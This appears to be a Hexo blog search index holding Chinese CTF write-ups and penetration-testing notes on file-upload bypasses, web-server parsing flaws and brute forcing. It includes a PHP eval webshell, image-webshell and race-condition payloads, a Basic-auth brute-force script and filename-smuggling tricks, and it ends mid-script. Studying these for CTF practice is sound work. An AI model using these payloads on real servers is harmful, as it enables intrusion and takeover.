<?xml version="1.0" encoding="utf-8"?>
<search>
<entry>
<title>CTF-show-文件上传</title>
<link href="/2022/04/02/CTF-show-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/"/>
<url>/2022/04/02/CTF-show-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0/</url>
<content type="html"><![CDATA[<h3 id="1、web151"><a href="#1、web151" class="headerlink" title="1、web151"></a>1、web151</h3><p>(1)法一:抓包改后缀</p><p>题目提示是前台校验,发现能上传图片,于是准备好的一句话木马改为png后缀上传再抓包</p><p><code><?php @eval($_POST['x']);?></code></p><p>将文件后缀修改为php再放包,可以看到文件上传成功</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202204022036879.png" alt="修改为php后缀" style="zoom:80%;" /><img src="https://gitee.com/mie1732/emc/raw/master/img/202204021655028.png" alt="上传路径" style="zoom:80%;" /><p>上传成功后蚁剑连接即可得到flag</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202204021659582.png" alt="蚁剑" style="zoom: 50%;" /><p>(2)法二:禁JS</p><p>搜索<code>about:config</code>修改<code>javascript.enabled</code>为false即可</p><p><img src="https://gitee.com/mie1732/emc/raw/master/img/202204021849881.png" alt="火狐"></p><p>但是禁用之后无法点击”上传图片”</p><h3 id="2、web152"><a href="#2、web152" class="headerlink" title="2、web152"></a>2、web152</h3><p>提示后端校验,于是上上传准备好的一句话木马(png)上传抓包,修改后缀即可</p><h3 id="3、web153"><a href="#3、web153" class="headerlink" title="3、web153"></a>3、web153</h3><p><code>.user.ini</code>配置文件</p><p>From:<a href="https://blog.csdn.net/lleo1/article/details/117263108">https://blog.csdn.net/lleo1/article/details/117263108</a></p><p>首先抓包改后缀无法实行,查看数据包,是Nginx于是考虑<code>.user.ini.</code>(<code>.htaccess</code>是Apache的)</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202204021924523.png" alt="Nginx" style="zoom:80%;" /><p>先上传<code>.user.ini.png</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202204022017815.png" alt="文件" style="zoom: 80%;" /><p>第一行为GIF的文件头</p><p><code>auto_prepend_file</code>:在加载第一个PHP代码之前先行加载该配置所指示的PHP文件</p><p><code>auto_append_file</code>:在每个PHP页面执行完成后所要执行的代码</p><p>抓包后删除png后缀</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202204022036908.png" alt="删除png" style="zoom: 80%;" /><p>再上传1.png的图片马</p><p><code>copy 12.png /b + 1.php /a 1.png</code></p><p>上传后访问<code>/upload/index</code>若有回显则说明执行了php木马上传成功</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202204022036050.png" alt="木马上传成功" style="zoom: 33%;" /><p>用蚁剑连接<code>/upload/index</code>即可得到flag</p><ul><li><code>.user.ini</code>配置文件详情:</li></ul><p>From:<a href="https://www.jianshu.com/p/c2ed6b05c964">https://www.jianshu.com/p/c2ed6b05c964</a></p><p>原理:</p><p>php.ini是php的核心配置文件,在php启动时被读取。<code>.user.ini</code>实际上是一个可由用户自定义的php.ini(除<code>PHP_INI_SYSTEM</code>外的模式都可以设置)</p><p><code>.user.ini</code>为一个动态加载的ini文件,修改后,只需要等待<code>user_ini.cache_ttl</code>所设置的时间(默认为300秒)即可被重新加载</p><p>漏洞利用:</p><p>若网站不允许上传php文件,可以先上传<code>.user.ini</code>再上传一个图片马,再进行getshell,前提是<code>.user.ini</code>的文件下需要有正常的PHP文件</p><p>范围比<code>.htaccess</code>更广,<code>nginx/apache/IIS</code>只要是以fastcgi运行的php都可以用此方法</p>]]></content>
<categories>
<category> CTF-show </category>
</categories>
<tags>
<tag> 文件上传 </tag>
</tags>
</entry>
<entry>
<title>文件上传(2)</title>
<link href="/2022/03/30/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%EF%BC%882%EF%BC%89/"/>
<url>/2022/03/30/%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%EF%BC%882%EF%BC%89/</url>
<content type="html"><![CDATA[<h3 id="1、后端绕过"><a href="#1、后端绕过" class="headerlink" title="1、后端绕过"></a>1、后端绕过</h3><p>代码问题漏洞</p><h5 id="(1)图片马的制作"><a href="#(1)图片马的制作" class="headerlink" title="(1)图片马的制作"></a>(1)图片马的制作</h5><p><code>copy 1.png /b + shell.php /a webshell.jpg</code></p><p>直接在图片中插入(十六进制)<code>webshell:<?php @eval($_POST['x']);?></code></p><h5 id="(2)文件头检测"><a href="#(2)文件头检测" class="headerlink" title="(2)文件头检测"></a>(2)文件头检测</h5><p>一般用十六进制器修改(burpsuit抓包修改头文件)</p><pre><code>JPEG (jpg),文件头:FFD8FFE1PNG (png),文件头:89504E47GIF (gif),文件头:47494638TIFF (tif),文件头:49492A00Windows Bitmap (bmp),文件头:424DCAD (dwg),文件头:41433130Adobe Photoshop (psd),文件头:38425053Rich Text Format (rtf),文件头:7B5C727466XML (xml),文件头:3C3F786D6CHTML (html),文件头:68746D6C3E</code></pre><h5 id="(3)图像文件信息判断"><a href="#(3)图像文件信息判断" class="headerlink" title="(3)图像文件信息判断"></a>(3)图像文件信息判断</h5><p>注意检测函数,配合文件包含漏洞执行</p><ul><li><code>getimagesize()</code>:图片信息获取</li></ul><p>获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条错误信息</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token function">list</span><span class="token punctuation">(</span><span class="token variable">$width</span><span class="token punctuation">,</span> <span class="token variable">$height</span><span class="token punctuation">,</span> <span class="token variable">$type</span><span class="token punctuation">,</span> <span class="token variable">$attr</span><span class="token punctuation">)</span> <span class="token operator">=</span> <span class="token function">getimagesize</span><span class="token punctuation">(</span><span class="token string">"runoob-logo.png"</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"宽度为:"</span> <span class="token punctuation">.</span> <span class="token variable">$width</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"高度为:"</span> <span class="token punctuation">.</span> <span class="token variable">$height</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"类型为:"</span> <span class="token punctuation">.</span> <span class="token variable">$type</span><span class="token punctuation">;</span><span class="token keyword">echo</span> <span class="token string">"属性:"</span> <span class="token punctuation">.</span> <span class="token variable">$attr</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><p>也就是说出现这个函数本身就是一种过滤,若文件不是图片则会返回false</p><ul><li><code>exif_imagetype()</code>:图像类型判断,只接受图片</li></ul><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token function">exif_imagetype</span><span class="token punctuation">(</span><span class="token string">"image.gif"</span><span class="token punctuation">)</span> <span class="token operator">!=</span> <span class="token constant">IMAGETYPE_GIF</span><span class="token punctuation">)</span> <span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token keyword">echo</span> <span class="token string">"The picture is not a gif"</span><span class="token punctuation">;</span><span class="token operator">&</span><span class="token shell-comment comment">#125;</span><span class="token delimiter">?></span></code></pre><ul><li><code>imagecreatefromgif()</code>:由文件或 URL 创建一个新图像</li></ul><p>返回一图像标识符,代表了从给定的文件名取得的图像。</p><h5 id="(4)逻辑安全"><a href="#(4)逻辑安全" class="headerlink" title="(4)逻辑安全"></a>(4)逻辑安全</h5><ul><li>二次渲染</li></ul><p>From:<a href="https://blog.csdn.net/weixin_45588247/article/details/119177948">https://blog.csdn.net/weixin_45588247/article/details/119177948</a></p><p>网站接受目标后会再次进行操作(会对文件进行二次操作)</p><p>原理:</p><p>在我们上传文件后,网站会对图片进行二次处理(格式、尺寸要求等),服务器会把里面的内容进行替换更新,处理完成后,根据我们原有的图片生成一个新的图片并放到网站对应的标签进行显示。</p><p>利用:</p><p>对比要上传图片与上传后的图片大小,编辑器打开图片查看上传后保留了拿些数据,将webshell插入其中或配合条件竞争</p><ul><li>条件竞争</li></ul><p>From:<a href="https://blog.csdn.net/mmzkyl/article/details/112318210">https://blog.csdn.net/mmzkyl/article/details/112318210</a></p><p><a href="https://cloud.tencent.com/developer/article/1650655">https://cloud.tencent.com/developer/article/1650655</a></p><p>形成原因:</p><p>由于服务器端在处理不同用户的请求时是<a href="https://so.csdn.net/so/search?q=%E5%B9%B6%E5%8F%91&spm=1001.2101.3001.7020">并发</a>进行处理的,如果对这些并发操作处理不当的话会由于一些时序问题导致一些异常情况的发生</p><pre class=" language-php"><code class="language-php"><span class="token variable">$is_upload</span> <span class="token operator">=</span> <span class="token boolean">false</span><span class="token punctuation">;</span><span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token keyword">null</span><span class="token punctuation">;</span><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$_POST</span><span class="token punctuation">[</span><span class="token string">'submit'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token variable">$ext_arr</span> <span class="token operator">=</span> <span class="token keyword">array</span><span class="token punctuation">(</span><span class="token string">'jpg'</span><span class="token punctuation">,</span><span class="token string">'png'</span><span class="token punctuation">,</span><span class="token string">'gif'</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$file_name</span> <span class="token operator">=</span> <span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token variable">$temp_file</span> <span class="token operator">=</span> <span class="token variable">$_FILES</span><span class="token punctuation">[</span><span class="token string">'upload_file'</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'tmp_name'</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token variable">$file_ext</span> <span class="token operator">=</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$file_name</span><span class="token punctuation">,</span><span class="token function">strrpos</span><span class="token punctuation">(</span><span class="token variable">$file_name</span><span class="token punctuation">,</span><span class="token string">"."</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$upload_file</span> <span class="token operator">=</span> <span class="token constant">UPLOAD_PATH</span> <span class="token punctuation">.</span> <span class="token string">'/'</span> <span class="token punctuation">.</span> <span class="token variable">$file_name</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">move_uploaded_file</span><span class="token punctuation">(</span><span class="token variable">$temp_file</span><span class="token punctuation">,</span> <span class="token variable">$upload_file</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">in_array</span><span class="token punctuation">(</span><span class="token variable">$file_ext</span><span class="token punctuation">,</span><span class="token variable">$ext_arr</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token variable">$img_path</span> <span class="token operator">=</span> <span class="token constant">UPLOAD_PATH</span> <span class="token punctuation">.</span> <span class="token string">'/'</span><span class="token punctuation">.</span> <span class="token function">rand</span><span class="token punctuation">(</span><span class="token number">10</span><span class="token punctuation">,</span> <span class="token number">99</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">date</span><span class="token punctuation">(</span><span class="token string">"YmdHis"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token string">"."</span><span class="token punctuation">.</span><span class="token variable">$file_ext</span><span class="token punctuation">;</span> <span class="token function">rename</span><span class="token punctuation">(</span><span class="token variable">$upload_file</span><span class="token punctuation">,</span> <span class="token variable">$img_path</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$is_upload</span> <span class="token operator">=</span> <span class="token boolean">true</span><span class="token punctuation">;</span> <span class="token operator">&</span><span class="token shell-comment comment">#125;else&#123;</span> <span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token string">"只允许上传.jpg|.png|.gif类型文件!"</span><span class="token punctuation">;</span> <span class="token function">unlink</span><span class="token punctuation">(</span><span class="token variable">$upload_file</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token operator">&</span><span class="token shell-comment comment">#125;</span> <span class="token operator">&</span><span class="token shell-comment comment">#125;else&#123;</span> <span class="token variable">$msg</span> <span class="token operator">=</span> <span class="token string">'上传出错!'</span><span class="token punctuation">;</span> <span class="token operator">&</span><span class="token shell-comment comment">#125;</span><span class="token operator">&</span><span class="token shell-comment comment">#125;</span></code></pre><p>代码逻辑:</p><p> <strong>先通过move_uploaded_file(tempfile,upload_file)将文件上传至服务器中。</strong></p><p> 上传完毕后通过in_array(fileext,ext_arr)检查文件名后缀</p><p> 如果后缀名合法,则对文件进行重命名,上传完成</p><p> 如果后缀名非法,则删除文件。</p><p>若将将一句话木马写入文件直接上传,然后通过蚁剑连接的想法还是将其打消了吧,可能蚁剑还没连上或者刚连上,一句话木马文件就被删除了</p><p>利用方法:</p><pre class=" language-php"><code class="language-php"><span class="token delimiter"><?php</span> <span class="token variable">$file</span><span class="token operator">=</span><span class="token function">fopen</span><span class="token punctuation">(</span><span class="token string">"xxx.php"</span><span class="token punctuation">,</span><span class="token string">"w"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token variable">$string</span><span class="token operator">=</span><span class="token string">'<?php @eval($_POST["x"]); ?>'</span><span class="token punctuation">;</span> <span class="token function">fwrite</span><span class="token punctuation">(</span><span class="token variable">$file</span><span class="token punctuation">,</span><span class="token variable">$string</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">fcolse</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token delimiter">?></span></code></pre><p>可以通过条件竞争的方式在unlink之前,访问webshell。用burp中不断发送上传webshell的数据包然后不断在浏览器中访问,可以通过竞争访问到文件。</p><h5 id="(5)目录命名-数组接收"><a href="#(5)目录命名-数组接收" class="headerlink" title="(5)目录命名+数组接收"></a>(5)目录命名+数组接收</h5><p>伪造成文件夹上传,但成功后会以文件的形式保存</p><pre><code>UPLOAD_PATH . '/' . $file_name;upload/upload-19.php/.jpgupload/upload-19.php/. :成功上传后:upload-19.phpxiaodi.jpgx[0]=xiaodix[1]= .x[2]=jpg</code></pre><h5 id="(6)CVE漏洞"><a href="#(6)CVE漏洞" class="headerlink" title="(6)CVE漏洞"></a>(6)CVE漏洞</h5><p>CVE-2015-5254、CVE-2017-12615、CVE-2019-2618</p><h3 id="2、解析漏洞"><a href="#2、解析漏洞" class="headerlink" title="2、解析漏洞"></a>2、解析漏洞</h3><p>搭建平台漏洞</p><p>(1)IIS</p><pre><code>IIS6.0//文件夹image/qq.jpgimage.asp/qq.jpg qq.jpg会被当做asp解析//文件image.jpgimage.asp;.jpg或xxx.asp;xxx.jpg //文件会被当做asp执行eg:/x.asp;.1.jpg 实际执行asp文件</code></pre><p>(2)Apache</p><pre><code>黑名单低版本:1.php.xxx也能别执行成php文件原理:Apache会从右往左识别知道识别到能执行的文件换行解析:2.4.0-2.4.29版本1.php\x0A可被解析为php文件在burpsuit中修改十六进制为0a</code></pre><p>(3)Nginx</p><p>From:<a href="https://blog.csdn.net/m0_51803069/article/details/109330765">https://blog.csdn.net/m0_51803069/article/details/109330765</a></p><ul><li>配置错误:</li></ul><p>原理:Nginx中PHP配置不当(php.ini)与nginx版本无关</p><p><code>php.ini中cgi.fix_pathinfo=1</code></p><p>Nginx只要一看URL中路径名以.php结尾,便不管该文件是否存在,直接交给php处理。</p><p>新版本的php在<code>php-fpm.conf</code>文件引入了<code>security.limit_extensions=.php</code>限制了可执行文件的后缀,默认只允许执行.php文件</p><ul><li>漏洞利用</li></ul><p>先上传一个xxx.jpg的图片马,访问此路径<code>/xxx.jpg/test.php</code></p><ul><li>CVE-2013-4547(文件名逻辑漏洞)</li></ul><p>原理:</p><p>利用了Nginx错误的解析了URL地址,导致可以绕过服务端限制,从而解析PHP文件</p><p>Nginx 0.8.41 ~ 1.4.3 / 1.5.0 ~ 1.5.7</p><p><code>php-fpm.conf</code>中的<code>security.limit_extensions</code>为空,也就是说任意后缀名都可以解析为PHP</p><ul><li>漏洞利用</li></ul><p>构造<code>/test.aaa \0.php</code>让nginx把test.aaa解析为php文件执行</p><p><code>test.aaa[0x20](空格)[0x00](\0).php</code></p><h3 id="3、编辑器漏洞"><a href="#3、编辑器漏洞" class="headerlink" title="3、编辑器漏洞"></a>3、编辑器漏洞</h3><p>(1)常用编辑器</p><p><code>Fckeditor、Ueditor、kindeditor、CKEditor</code></p><p>(2)扩展</p><p>POC(Proof ofConcept),中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。</p><p>EXP(Exploit),中文意思是“漏洞利用”。意思是一段对漏洞如何利用的详细说明或者一个演示的漏洞攻击代码,可以使得读者完全了解漏洞的机理以及利用的方法。</p><p>VUL(Vulnerability),泛指漏洞。</p><p>CVE漏洞编(公共漏洞和暴露)为广泛认同的信息安全漏洞或者已经暴露出来的弱点给出一个公共的名称。</p><pre><code>CVE网站:http://www.scap.org.cn/https://cve.mitre.org/</code></pre><h3 id="4、文件上传思路"><a href="#4、文件上传思路" class="headerlink" title="4、文件上传思路"></a>4、文件上传思路</h3><p>(1)上传文件和执行文件是两个东西</p><p>(2)漏洞分类:</p><p>解析漏洞、cms漏洞、其他漏洞(编辑器漏洞、cve漏洞、安全修复)</p><p>(3)思路:</p><ul><li>拿到网站可以先看文件上传功能是否利用</li><li>查看中间件,是否存在解析漏洞/CMS/编辑器漏洞/CVE</li><li>若存在上述漏洞:字典扫描:扫描会员中心,文件上传的位置</li><li>若无则进行验证,解析(黑名单,白名单?)</li></ul>]]></content>
<categories>
<category> 小迪渗透 </category>
</categories>
<tags>
<tag> 文件上传 </tag>
</tags>
</entry>
<entry>
<title>CTF-show-爆破</title>
<link href="/2022/03/29/CTF-show-%E7%88%86%E7%A0%B4/"/>
<url>/2022/03/29/CTF-show-%E7%88%86%E7%A0%B4/</url>
<content type="html"><![CDATA[<h4 id="1、web21"><a href="#1、web21" class="headerlink" title="1、web21"></a>1、web21</h4><p>tomcat认证爆破–<code>用户名:密码</code>,一般使用<code>custom iterator</code>爆破</p><p><a href="https://www.cnblogs.com/007NBqaq/p/13220297.html">https://www.cnblogs.com/007NBqaq/p/13220297.html</a></p><p>得到爆破字典和需要输入账号密码的网页,于是先尝试输入账号admin密码1234进行抓包</p><p>抓包后没有看到admin或password的字段,但是看到一串base编码</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203290837529.png" alt="base64编码" style="zoom:67%;" /><p>解码结果为<code>admin:1234</code>即为我们输入的账号和密码</p><p>将数据包发送到爆破模块,选择中账号密码</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203290842764.png" alt="账号密码" style="zoom:67%;" /><p>选择自定义迭代器,分别导入字典</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203290843163.png" alt="自定义迭代器" style="zoom:67%;" /><p>position1:用户名</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203290923330.png" alt="admin" style="zoom:50%;" /><p>position2:<code>:</code></p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203290851707.png" alt="冒号" style="zoom:50%;" /><p>position3:密码</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203290853945.png" alt="密码" style="zoom:50%;" /><p>选择Payload Processing进行编码设置</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203290855884.png" alt="编码设置" style="zoom:50%;" /><p>因为base64编码存在=,所以取消Palyload Encoding编码,爆破即可得到flag</p><p>提示也有脚本</p><pre class=" language-python"><code class="language-python"><span class="token comment" spellcheck="true"># -*- coding: utf-8 -*-</span><span class="token comment" spellcheck="true"># @Author: h1xa</span><span class="token comment" spellcheck="true"># @Date: 2020-11-20 19:16:49</span><span class="token comment" spellcheck="true"># @Last Modified by: h1xa</span><span class="token comment" spellcheck="true"># @Last Modified time: 2020-11-20 20:28:42</span><span class="token comment" spellcheck="true"># @email: [email protected]</span><span class="token comment" spellcheck="true"># @link: https://ctfer.com</span><span class="token keyword">import</span> time<span class="token keyword">import</span> requests<span class="token keyword">import</span> base64url <span class="token operator">=</span> <span class="token string">'http://xxxx.ctf.show/index.php'</span>password <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token keyword">with</span> open<span class="token punctuation">(</span><span class="token string">"1.txt"</span><span class="token punctuation">,</span> <span class="token string">"r"</span><span class="token punctuation">)</span> <span class="token keyword">as</span> f<span class="token punctuation">:</span> <span class="token keyword">while</span> <span class="token boolean">True</span><span class="token punctuation">:</span> data <span class="token operator">=</span> f<span class="token punctuation">.</span>readline<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">if</span> data<span class="token punctuation">:</span> password<span class="token punctuation">.</span>append<span class="token punctuation">(</span>data<span class="token punctuation">)</span> <span class="token keyword">else</span><span class="token punctuation">:</span> <span class="token keyword">break</span> <span class="token keyword">for</span> p <span class="token keyword">in</span> password<span class="token punctuation">:</span> strs <span class="token operator">=</span> <span class="token string">'admin:'</span><span class="token operator">+</span> p<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span> header<span class="token operator">=</span><span class="token operator">&</span><span class="token comment" spellcheck="true">#123;</span> <span class="token string">'Authorization'</span><span class="token punctuation">:</span><span class="token string">'Basic &#123;&#125;'</span><span class="token punctuation">.</span>format<span class="token punctuation">(</span>base64<span class="token punctuation">.</span>b64encode<span class="token punctuation">(</span>strs<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">&</span><span class="token comment" spellcheck="true">#125;</span> rep <span class="token operator">=</span>requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>url<span class="token punctuation">,</span>headers<span class="token operator">=</span>header<span class="token punctuation">)</span> time<span class="token punctuation">.</span>sleep<span class="token punctuation">(</span><span class="token number">0.2</span><span class="token punctuation">)</span> <span class="token keyword">if</span> rep<span class="token punctuation">.</span>status_code <span class="token operator">==</span><span class="token number">200</span><span class="token punctuation">:</span> <span class="token keyword">print</span><span class="token punctuation">(</span>rep<span class="token punctuation">.</span>text<span class="token punctuation">)</span> <span class="token keyword">break</span></code></pre><h4 id="2、web22"><a href="#2、web22" class="headerlink" title="2、web22"></a>2、web22</h4><p>根据题目提示爆破子域名,使用在线工具进行爆破即可</p><img src="https://gitee.com/mie1732/emc/raw/master/img/202203290947164.png" alt="子域名查询" style="zoom: 67%;" /><p>访问<code>vip.ctf.show</code>时即可得到flag</p><h4 id="3、web23"><a href="#3、web23" class="headerlink" title="3、web23"></a>3、web23</h4><p>关键代码</p><pre class=" language-php"><code class="language-php"><span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'token'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token variable">$token</span> <span class="token operator">=</span> <span class="token function">md5</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string">'token'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$token</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">===</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$token</span><span class="token punctuation">,</span> <span class="token number">14</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">&&</span> <span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$token</span><span class="token punctuation">,</span> <span class="token number">14</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span> <span class="token operator">===</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$token</span><span class="token punctuation">,</span> <span class="token number">17</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token function">intval</span><span class="token punctuation">(</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$token</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token function">intval</span><span class="token punctuation">(</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$token</span><span class="token punctuation">,</span> <span class="token number">14</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">+</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$token</span><span class="token punctuation">,</span> <span class="token number">17</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">/</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$token</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">===</span><span class="token function">intval</span><span class="token punctuation">(</span><span class="token function">substr</span><span class="token punctuation">(</span><span class="token variable">$token</span><span class="token punctuation">,</span> <span class="token number">31</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">&</span><span class="token shell-comment comment">#123;</span> <span class="token keyword">echo</span> <span class="token variable">$flag</span><span class="token punctuation">;</span> <span class="token operator">&</span><span class="token shell-comment comment">#125;</span> <span class="token operator">&</span><span class="token shell-comment comment">#125;</span><span class="token operator">&</span><span class="token shell-comment comment">#125;else&#123;</span> <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token operator">&</span><span class="token shell-comment comment">#125;</span></code></pre><p><code>isset()</code>:检测变量是否已设置并且非NULL,若传入多个参数,只有全部非NULL才会返回true</p><p><code>intval()</code>:获取变量的整数值,不能用于object</p><p>PHP的三个等号:比较对象的值和类型都要一样</p><p>两个等号:值相等即可</p><pre><code>$a=10$b='10'$a==$b //true$a===$b //false,a是数字型,b是字符型</code></pre><p>此代码的意思为:</p><p>当md5码满足,第二位=第15位=第18位时,如果(第二位+第15位+第18位/第二位=第32位)整数,时输出flag</p><p>因此脚本为:</p><p>大佬的python脚本:</p><pre class=" language-python"><code class="language-python">mport hashlibdic <span class="token operator">=</span> <span class="token string">"0123456789qazwsxedcrfvtgbyhnujmikolp"</span><span class="token keyword">for</span> a <span class="token keyword">in</span> dic<span class="token punctuation">:</span> <span class="token keyword">for</span> b <span class="token keyword">in</span> dic<span class="token punctuation">:</span> t <span class="token operator">=</span> <span class="token punctuation">(</span>str<span class="token punctuation">(</span>a<span class="token punctuation">)</span><span class="token operator">+</span>str<span class="token punctuation">(</span>b<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token string">"utf-8"</span><span class="token punctuation">)</span> md5 <span class="token operator">=</span> hashlib<span class="token punctuation">.</span>md5<span class="token punctuation">(</span>t<span class="token punctuation">)</span><span class="token punctuation">.</span>hexdigest<span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token keyword">if</span> md5<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">==</span> md5<span class="token punctuation">[</span><span class="token number">14</span><span class="token punctuation">:</span><span class="token number">15</span><span class="token punctuation">]</span> <span class="token operator">and</span> md5<span class="token punctuation">[</span><span class="token number">14</span><span class="token punctuation">:</span><span class="token number">15</span><span class="token punctuation">]</span><span class="token operator">==</span> md5<span class="token punctuation">[</span><span class="token number">17</span><span class="token punctuation">:</span><span class="token number">18</span><span class="token punctuation">]</span><span class="token punctuation">:</span> <span class="token keyword">if</span> int<span class="token punctuation">(</span>float<span class="token punctuation">(</span>md5<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">+</span>int<span class="token punctuation">(</span>float<span class="token punctuation">(</span>md5<span class="token punctuation">[</span><span class="token number">14</span><span class="token punctuation">:</span><span class="token number">15</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">+</span>int<span class="token punctuation">(</span>float<span class="token punctuation">(</span>md5<span class="token punctuation">[</span><span class="token number">17</span><span class="token punctuation">:</span><span class="token number">18</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">/</span>int<span class="token punctuation">(</span>float<span class="token punctuation">(</span>md5<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">:</span><span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">==</span>int<span class="token punctuation">(</span>float<span class="token punctuation">(</span>md5<span class="token punctuation">[</span><span class="token 